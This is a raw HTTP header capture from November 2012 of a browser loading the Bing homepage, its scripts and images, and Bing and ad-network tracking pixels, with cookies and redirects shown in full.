Referer: http://www.facebook.com/plugins/like.php?api_key=&amp;locale=en_US&amp;sdk=joey&amp;channel_url=http%3A%2F%2Fstatic.ak.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D15%23cb%3Df77a606862e37a%26origin%3Dhttp%253A%252F%252Fkc.rems.co.in%252Ff2691cc7c40f02c%26domain%3Dkc.rems.co.in%26relation%3Dparent.parent&amp;href=www.facebook.com%2Fpages%2FKalakkal-Cinema%2F148474111830869&amp;node_type=link&amp;width=174&amp;font=verdana&amp;layout=button_count&amp;colorscheme=light&amp;show_faces=false&amp;send=true&amp;extended_social_context=false
Origin: http://www.facebook.com
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript; charset=utf-8

Access-Control-Allow-Origin: *
Last-Modified: Mon, 29 Oct 2012 23:55:41 GMT
X-Content-Type-Options: nosniff
Content-Encoding: gzip
X-FB-Debug: mERPLeHfP4bFbWVj/NJRwm2C8x1Lf8geAnYAfFf24WM=
Content-Length: 37945
Vary: Accept-Encoding
Cache-Control: public, max-age=31402206
Expires: Wed, 06 Nov 2013 14:12:56 GMT
Date: Thu, 08 Nov 2012 03:22:50 GMT
Connection: keep-alive
GET /az/hprichbg?p=rb%2fCompButterflyFish_ROW11013069483_1366x768.jpg HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046; MUID=1A5363F08BA563A3318667E28AA263B7; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Last-Modified: Mon, 08 Oct 2012 22:35:00 GMT
Content-Length: 164465
X-N: S
Cache-Control: public, max-age=448612
Date: Thu, 08 Nov 2012 03:22:50 GMT
Connection: keep-alive
GET /fd/sa/8_10_0_1586855/AutoSug.js HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046; MUID=1A5363F08BA563A3318667E28AA263B7; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=D=2553322&amp;MS=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip
Last-Modified: Mon, 04 Oct 2010 15:48:25 GMT
Content-Length: 8101
Vary: Accept-Encoding
Cache-Control: public, max-age=15442877
Date: Thu, 08 Nov 2012 03:22:50 GMT
Connection: keep-alive
GET /sa/8_01_0_1590430/homepageImgViewer_c.js HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046; MUID=1A5363F08BA563A3318667E28AA263B7; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Last-Modified: Wed, 03 Nov 2010 12:04:08 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3907
Cache-Control: public, max-age=15537884
Date: Thu, 08 Nov 2012 03:22:50 GMT
Connection: keep-alive
GET /az/hprichbg?p=rb%2fLichtensteinCastle_ROW8041699813_1366x768.jpg HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046&amp;bIm=483; MUID=1A5363F08BA563A3318667E28AA263B7; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Last-Modified: Mon, 08 Oct 2012 22:36:11 GMT
Content-Length: 222799
X-N: S
Cache-Control: public, max-age=535050
Date: Thu, 08 Nov 2012 03:22:50 GMT
Connection: keep-alive
GET /qsonhs.aspx?FORM=ASAPIH&q= HTTP/1.1

Host: db3.api.bing.com
GET /qsonhs.aspx?FORM=ASAPIH&amp;q= HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046; MUID=1A5363F08BA563A3318667E28AA263B7; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=D=2553322&amp;MS=2553322&amp;AF=NOFORM; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108
 
HTTP/1.1 200 OK

Content-Type: application/json; charset=utf-8

X-Content-Type-Options: nosniff
Date: Thu, 08 Nov 2012 03:22:49 GMT
Content-Length: 35
GET /HPImageArchive.aspx?format=js&idx=0&n=1&nc=1352344970384 HTTP/1.1

Host: www.bing.com
GET /HPImageArchive.aspx?format=js&amp;idx=0&amp;n=1&amp;nc=1352344970384 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046&amp;bIm=483; MUID=1A5363F08BA563A3318667E28AA263B7; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#
 
HTTP/1.1 200 OK

Content-Type: application/json; charset=utf-8

Cache-Control: private
P3P: CP=&quot;NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND&quot;
Content-Length: 560
Date: Thu, 08 Nov 2012 03:22:50 GMT
Connection: keep-alive
Set-Cookie: _FS=NU=1; domain=.bing.com; path=/
SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; expires=Sat, 08-Nov-2014 03:22:50 GMT; domain=.bing.com; path=/
GET /c.gif?DI=15074 HTTP/1.1

Host: c.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046&amp;bIm=483813; MUID=1A5363F08BA563A3318667E28AA263B7; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#
 
HTTP/1.1 302 Redirect

HTTP/1.1 302 Redirect

Cache-Control: private, no-cache, proxy-revalidate, no-store
Pragma: no-cache
Location: http://c.atdmt.com/c.gif?DI=15074&amp;RedC=c.bing.com&amp;MXFR=1A5363F08BA563A3318667E28AA263B7
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
P3P: CP=&quot;BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo&quot;
Set-Cookie: MUID=1A5363F08BA563A3318667E28AA263B7&amp;TUID=1; domain=.bing.com; expires=Sat, 08-Nov-2014 03:22:51 GMT; path=/;
Date: Thu, 08 Nov 2012 03:22:50 GMT
Content-Length: 0
GET /fd/sa/1020103738/Shared.js HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046&amp;bIm=483813; MUID=1A5363F08BA563A3318667E28AA263B7; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 1468
Content-Encoding: gzip
Last-Modified: Wed, 20 Oct 2010 10:37:38 GMT
Vary: Accept-Encoding
Cache-Control: public, max-age=7111889
Date: Thu, 08 Nov 2012 03:22:51 GMT
Connection: keep-alive
GET /fd/sa/0823125817/PostContent.js HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046&amp;bIm=483813; MUID=1A5363F08BA563A3318667E28AA263B7&amp;TUID=1; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#; RMS=F=C
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip
Last-Modified: Mon, 23 Aug 2010 12:58:17 GMT
Content-Length: 918
Vary: Accept-Encoding
Cache-Control: public, max-age=13724161
Date: Thu, 08 Nov 2012 03:22:51 GMT
Connection: keep-alive
GET /fd/sa/0916193114/FdNetIdentityHeader_c.css HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046&amp;bIm=483813; MUID=1A5363F08BA563A3318667E28AA263B7&amp;TUID=1; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#; RMS=F=G
 
HTTP/1.1 200 OK

Content-Type: text/css

Last-Modified: Thu, 16 Sep 2010 19:31:14 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: public, max-age=13642747
Date: Thu, 08 Nov 2012 03:22:51 GMT
Content-Length: 354
Connection: keep-alive
X-N: S
GET /fd/sa/0918083739/FdNetIdentityHeader_hp.css HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046&amp;bIm=483813; MUID=1A5363F08BA563A3318667E28AA263B7&amp;TUID=1; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#; RMS=F=GAAAAAAAAAB
 
HTTP/1.1 200 OK

Content-Type: text/css

Last-Modified: Sat, 18 Sep 2010 08:37:39 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 252
Cache-Control: public, max-age=7060514
Date: Thu, 08 Nov 2012 03:22:51 GMT
Connection: keep-alive
X-N: S
GET /c.gif?DI=15074&RedC=c.bing.com&MXFR=1A5363F08BA563A3318667E28AA263B7 HTTP/1.1

Host: c.atdmt.com
GET /c.gif?DI=15074&amp;RedC=c.bing.com&amp;MXFR=1A5363F08BA563A3318667E28AA263B7 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: AA002=1350344862-22301988; MUID=28A467A70F8D6B9C1F16645D0C8D6BFA
 
HTTP/1.1 302 Redirect

HTTP/1.1 302 Redirect

Cache-Control: private, no-cache, proxy-revalidate, no-store
Pragma: no-cache
Location: http://c.bing.com/c.gif?DI=15074&amp;MUID=28A467A70F8D6B9C1F16645D0C8D6BFA&amp;cb=1cdbd605596d1f0
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
P3P: CP=&quot;BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo&quot;
Set-Cookie: MUID=28A467A70F8D6B9C1F16645D0C8D6BFA; domain=.atdmt.com; expires=Sat, 08-Nov-2014 03:22:51 GMT; path=/;
SRM_A=28A467A70F8D6B9C1F16645D0C8D6BFA; domain=c.atdmt.com; expires=Sat, 08-Nov-2014 03:22:51 GMT; path=/;
SRM_B=28A467A70F8D6B9C1F16645D0C8D6BFA; domain=c.atdmt.com; expires=Sat, 08-Nov-2014 03:22:51 GMT; path=/;
Date: Thu, 08 Nov 2012 03:22:51 GMT
Content-Length: 0
GET /c.gif?DI=15074&MUID=28A467A70F8D6B9C1F16645D0C8D6BFA&cb=1cdbd605596d1f0 HTTP/1.1

Host: c.bing.com
GET /c.gif?DI=15074&amp;MUID=28A467A70F8D6B9C1F16645D0C8D6BFA&amp;cb=1cdbd605596d1f0 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046&amp;bIm=483813; MUID=1A5363F08BA563A3318667E28AA263B7&amp;TUID=1; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#; RMS=F=GAAAAAAAAABB
 
HTTP/1.1 200 OK

Content-Type: image/gif

Cache-Control: private, no-cache, proxy-revalidate, no-store
Pragma: no-cache
Last-Modified: Thu, 20 Oct 2011 10:27:58 GMT
Accept-Ranges: bytes
Etag: &quot;04baaef128fcc1:0&quot;
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
P3P: CP=&quot;BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo&quot;
Set-Cookie: MUID=28A467A70F8D6B9C1F16645D0C8D6BFA; domain=.bing.com; expires=Sat, 08-Nov-2014 03:22:51 GMT; path=/;
ANONCHK=0; domain=c.bing.com; expires=Sun, 11-Nov-2012 03:22:51 GMT; path=/;
Date: Thu, 08 Nov 2012 03:22:51 GMT
Content-Length: 42
GET /fd/ls/GLinkPing.aspx?CM=TMF&IG=e962db88775e4933be9abba29b60e0e7&CID=1A5363F08BA563A3318667E28AA263B7 HTTP/1.1

Host: www.bing.com
GET /fd/ls/GLinkPing.aspx?CM=TMF&amp;IG=e962db88775e4933be9abba29b60e0e7&amp;CID=1A5363F08BA563A3318667E28AA263B7 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046&amp;bIm=483813; MUID=28A467A70F8D6B9C1F16645D0C8D6BFA; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#; RMS=F=GAAAAAAAAABB
 
HTTP/1.1 200 OK

Content-Type: image/gif

Cache-Control: no-cache
Pragma: no-cache
Expires: Sun, 12 Oct 2003 00:00:00 GMT
P3P: CP=&quot;NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND&quot;
Content-Length: 42
Date: Thu, 08 Nov 2012 03:22:51 GMT
Connection: keep-alive
Set-Cookie: OrigMUID=; expires=Thu, 01-Jan-1970 00:00:00 GMT; domain=.bing.com; path=/
_FS=NU=1; domain=.bing.com; path=/
SRCHD=SM=1&amp;MS=2553322&amp;D=2553322&amp;AF=NOFORM; expires=Sat, 08-Nov-2014 03:22:51 GMT; domain=.bing.com; path=/
GET /pix?cid=1237&uid=28A467A70F8D6B9C1F16645D0C8D6BFA HTTP/1.1

Host: cms.abmr.net
GET /pix?cid=1237&amp;uid=28A467A70F8D6B9C1F16645D0C8D6BFA HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
 
HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 0
Expires: Thu, 08 Nov 2012 03:22:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 08 Nov 2012 03:22:52 GMT
Connection: keep-alive
Set-Cookie: 01AI=3ulLWA67F1jNlhIDsXNfPLrfZKb8DrtN4dtuqxF6j7chvk4plR8hZoQ; expires=Fri, 08-Nov-2013 03:22:52 GMT; path=/; domain=.abmr.net